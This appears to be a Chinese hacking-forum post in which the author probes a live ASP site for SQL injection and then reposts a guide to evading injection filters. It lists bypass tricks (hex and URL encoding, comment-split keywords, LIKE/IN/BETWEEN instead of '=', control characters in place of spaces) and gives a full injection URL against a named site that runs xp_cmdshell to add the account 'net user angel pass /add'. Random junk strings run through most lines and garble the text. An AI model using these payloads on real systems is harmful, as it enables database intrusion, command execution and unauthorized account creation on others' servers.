路过这个网站,检测了一下.6 a: h4 E9 I7 V/ _! F' i
http://www.xxx.cn/Article.asp?ID=117 and 1=1
) G- O9 u- @4 B3 G% k7 c直接返回主页
; |( M# q8 P4 T! n% s9 w; X6 Nhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
5 B2 s, f9 K, v+ m直接返回主页
9 A3 x- C1 k5 v) _http://www.xxx.cn/Article.asp?ID=117 or' f" t6 O1 @0 X$ i7 M
没有返回主页 没有过滤or
/ r6 G$ X# p1 ]' `http://www.xxx.cn/Article.asp?ID=117 and6 w; _8 \0 T2 r; y
直接返回主页 看来过滤了and
7 G2 q4 G; D1 s0 ]http://www.xxx.cn/Article.asp?ID=117 or 1$ v8 R2 h. Y L# C4 ]
没有返回主页 即没有过滤or 也没有过滤1
$ w( T6 l. p* K& D* Nhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
) r* O; n. c9 x: J直接返回主页 很明显过滤了等号 b* t8 y" Q/ b2 U' c
or的特性是与and相反的.& z; |( e! {4 N0 s
or 1=1 爆错 或与原页面不同* W" i1 }% }- O! C1 q0 Y# W# n2 ]; E
or 1=2 原页面相同
9 B% i! M! ]% k# l9 J- `这样就是一个注入点
4 I6 r% D% \* i/ E但他过滤了=号 我就用><号代替=号吧!
8 P% }8 Q1 f7 V0 Z% Q/ y! ^or 1<2 很明显是正确的,所以应该与原页面不同
" D5 F. G2 J0 e7 J2 `- M1 Nor 1>2 很明显是错误的,所以应该与原页面相同5 O8 j4 j% l; g4 W" P) x! v
然后看看有没有过滤其他的查询语句,比如select./ P* \8 `: K6 e7 l& H0 ^ q
http://www.xxx.cn/Article.asp?ID=117 select; ~7 p! o/ C' y) V' M+ H; Z- a
直接返回主页, y' f2 ^( U/ ?/ @# b8 V9 ~
又迷茫了.., f7 O. ?6 A: ]
o# O7 @( t7 D9 D* [( x* b* q. H( G: g1 r0 o8 _4 Q3 w- s8 G0 z
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
; |! l0 X. u$ ~* D, \+ o这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)7 S: S) V# w$ O) Q
================================================# P8 b; j2 L8 N" U& C& }
以下是转贴:4 i; d. m ^# _1 M, j
* _7 w- B |$ A* C, y突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… % G6 Y6 C( }$ P+ R4 o4 ^# w+ S
经过我的收集,大部分的防注入程序都过滤了以下关键字:
- a# p9 L$ G: U7 m5 a: r2 C1 Land | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = # W" D0 s9 g9 a2 K5 ^
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
e5 i' e" a3 w6 o- A对于关键字的过滤,以下是我收集的以及我个人的一些想法。
3 `* k, V; ~: b2 A! c: J' b1、运用编码技术绕过
" W( }, R( z0 U/ t' H; i9 m如URLEncode编码,ASCII编码绕过。例如or 1=1即 6 U# B/ w) A; E; y$ ` C4 M
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
) k5 }; z5 }1 E# |' A7 F2 T. @" `+ X: [) x' h W/ G- G5 C
2、通过空格绕过 8 f6 }8 h, J& ]# w1 L6 V: k
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 : O+ w- {4 F3 `7 C8 q
or’ swords’ =‘swords’ 3 ]$ e% F6 I' Z) f4 L) h
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 2 x6 y" q! c3 J( z- u' @3 M/ j5 a
3、运用字符串判断代替
: o O0 h1 L0 ?5 v' v" ?% M用经典的or 1=1判断绕过,如 ; l9 N2 I: C3 ^& R; [& O* D% d
or ’swords’ =’swords’
$ f: U% B4 l1 U$ q# S$ t,这个方法就是网上在讨论的。 I0 x3 [8 P/ q# ^0 s' ]+ [/ N- u1 q
4、通过类型转换修饰符N绕过 - Y, y. I4 t M( ?. C/ d e- {
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
/ H; z6 g$ h! `$ J3 _! t5、通过+号拆解字符串绕过
. \+ u \1 m4 J2 v效果值得考证,但毕竟是一种方法。如 6 T6 v4 C. H. b! S! H/ q0 R
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) , f% `% |% C" H, h2 T3 N6 \
& F! w& a' V$ `" T( N, W! Z6、通过LIKE绕过
& D1 U v, q0 ]' M以前怎么就没想到呢?如or $ L2 j- K% Q9 s4 W2 e
’swords’ LIKE ’sw’
; F8 E; ?0 c$ q3 q!!!显然可以很轻松的绕过 1 J; M3 L- S* g, y% a2 v7 s+ E
“=”“>”
+ K# c( h/ G7 r5 N的限制…… ) D1 V* @$ r; X, m9 Z
7、通过IN绕过 & r4 C+ ]7 C% L4 w3 M9 ^+ ?
与上面的LIKE的思路差不多,如
8 z- ~1 w1 c6 W xor ’swords’ IN (’swords’) 9 \9 Q0 K9 q- N1 K
+ I9 |9 R4 d/ {( _* {3 f8 J8、通过BETWEEN绕过 " s, [! [* x u" ?( h* _1 F
如 0 p0 P8 L$ } T
or ’swords’ BETWEEN ’rw’ AND ’tw’
% j- V. Z# Q& ]) _0 [2 W
( b3 j9 M' w* E4 k- e9、通过>或者<绕过
% X% m) B, S5 ^9 _7 G( n2 Mor ’swords’ > ’sw’
2 V' E9 h8 I5 q- lor ’swords’ < ’tw’
# W* d: s1 I) Kor 1<3 - ?* b& H, a D; s/ E" y7 w$ Y1 E1 Z
……
: ]) G9 }* a% Y; a% _* d8 N- W10、运用注释语句绕过
9 `# o4 o' n; L! l G用/**/代替空格,如: % ^8 q0 t5 A0 t
UNION /**/ Select /**/user,pwd,from tbluser ' @- M4 ]* _8 G; b: d n
- }1 w1 }4 x- x' c: M
用/**/分割敏感词,如: ! o1 [6 x- q# v0 o1 P
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
6 q C, B: [! ]. q
6 Z! X* S- f. p \/ O11、用HEX绕过,一般的IDS都无法检测出来 4 W9 X! h3 M5 k% d" X
0x730079007300610064006D0069006E00 =hex(sysadmin) 0 G% E: R+ c) B! c3 i2 w
0x640062005F006F0077006E0065007200 =hex(db_owner) , F0 v; T' [& q! f) K4 S8 P B9 s+ X
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 7 m& b& u9 t$ L
declare @a sysname ' E6 z0 {9 _( {+ k) ?; `
select @a=
V" P4 [( Q. d& N2 G+ o exec master.dbo.xp_cmdshell @a
% H, e9 B% W$ Z+ f6 W6 o+ N效果
2 q! B4 \/ `" [7 _http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
# P m) k1 {1 [8 _: `: ?0 Y$ N1 C8 |, a& _ l
其中的
9 T" W" S9 p" R) J3 ?. o$ @0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 % c; Y( [' \, ~( I6 ^$ f+ n
就是
6 C7 w; N- U3 p$ e: U“net user angel pass /add”
2 @9 Q4 _# Y" A! ]9 Q/ M
5 y/ A& g4 J: b8 G. a* B一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。; N# @3 i0 N+ T; r: ~7 b
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
* y6 [3 `8 J4 o0 o另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
$ C/ a& l! b2 E WCopy code. D# W9 C0 d) W" j- B
select * from table exec xp_cmdshell'xxxxxxxxxx') U* h' f) p. H" j: A. f1 p
% [& |# E1 d6 d! X* |4 Z' E* }3 s
/ @$ H4 F/ O3 g! q& U( ^select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
+ V6 T9 G& o$ e; l* b X `: k
% V7 E/ U: r! E# \* D1 e% X( C x* j9 \0 E
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'2 H, K" O7 Y" n& R3 D0 B
" R+ a7 U7 x) o9 |0 ^/ Z
& R% Y& i$ V# Bselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
8 g4 j$ F+ X" A$ T5 y. y
) h: K6 y b+ @+ y的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
6 H' d& T1 H4 @$ b7 g; [
! r6 T% ?2 o0 ]这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了( [1 K; i5 \2 Y, @, W5 ]! a
可能大家早就知道了,不管怎么说,发在这里吧!
2 B9 f. O+ w8 l* G' O/ v
9 L2 \2 @3 m0 d3 a+ X+ O$ y最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
& u6 N, }- g+ `9 D) g0 T* i
6 Q. \( ^! u) `) u
- D* m* U, d9 X1 Y9 a a0 q0 V
5 R5 o* X! D% k) }9 i; R: V对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
5 T* u: K' e, h, [- Q比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? . R8 a( Y$ v4 _! m9 q: d
7 g8 t7 Q! e+ z- V0 A
|